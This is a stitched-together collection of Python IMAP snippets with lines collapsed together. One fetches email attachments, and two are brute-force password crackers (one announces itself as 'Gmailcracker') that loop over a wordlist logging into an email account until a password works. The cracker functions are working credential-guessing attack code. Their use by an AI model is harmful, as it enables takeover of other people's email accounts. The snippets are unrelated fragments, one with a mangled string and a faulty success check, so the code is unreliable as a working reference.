def getLastEmails(conf, inputs, outputs): conn = IMAP(conf["mm_mail"]["server"]) conn.login(conf["mm_mail"]["user"], conf["mm_mail"]["password"]) status, data = conn.select("INBOX") results = [] for num in range(1, int(data[0]) + 1): typ, data = conn.fetch(num, '(RFC822)') raw_email = data[0][1] raw_email_string = raw_email.decode('utf-8') email_message = email.message_from_string(raw_email_string) email_from = email_message['from'] for part in email_message.walk(): if part.get_content_maintype() == 'multipart': continue if part.get('Content-Disposition') is None: continue fileName = part.get_filename() if bool(fileName): filePath = os.path.join(conf["main"]["tmpPath"], fileName) if not os.path.isfile(filePath): fp = open(filePath, 'wb') fp.write(part.get_payload(decode=True)) fp.close() results += [{"mail": email_from, "path": filePath}] conn.store(num, '+FLAGS', '\\Deleted') conn.expunge() conn.close() conn.logout() outputs["Result"]["value"] = json.dumps(results) return zoo.SERVICE_SUCCEEDED
def main(password): global counter sys.stdout.write("[-] Trying : %s \n" % (password)) sys.stdout.flush() file.write("[-] Trying : %s \n" % (str(password))) try: IMAP4 = imaplib.IMAP4_SSL(HOST, PORT) except Exception: print "Error: Can not connect to internet.\nPlease check your internet connection...\n\n\n" time.sleep(3) raise try: IMAP4.login(email, password) except KeyboardInterrupt: print "\n[-] Aborting...\n" file.write("\n[-] Aborting...\n") sys.exit(1) except IMAP4.error as e: if not "credentials" in str(e): print "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % ( email, password) file.write( "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password)) sys.exit(1) counter += 1 if counter == len(words) / 5: print "[+] Gmailcracker 20% way done..." print "[+] Please be patient..." file.write("[+] Gmailcracker on 1/4 way done...\n") file.write("[+] Please be patient...\n") elif counter == len(words) / 4: print "[+] Gmailcracker 25% way done..." print "[+] Please be patient..." file.write("[+] Gmailcracker on 1/4 way done...\n") file.write("[+] Please be patient...\n") elif counter == len(words) / 2: print "[+] Gmailcracker on 50% done..." print "[+] Please be patient..." file.write("[+] Gmailcracker on halfway done...\n") file.write("[+] Please be patient...\n") elif counter == len(words): print "[+] Gmailcracker done...\n" file.write("[+] Gmailcracker done...!\n")
def attack(self, password): try: sys.stdout.write("\r[*] trying %s.. " % password) sys.stdout.flush() IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) session = IMAP4.login(self.mail, password) if (session == 'OK' or 'AUTHENTICATE completed'): IMAP4.logout() sys.stdout.write("\r") sys.stdout.flush() self.glob.print_status("Password found! Password: "******"Exiting program ..") sys.exit(1)
def __login(self, imap_connection: IMAP4) -> None: imap_connection.login(self.__config.email, self.__config.app_password)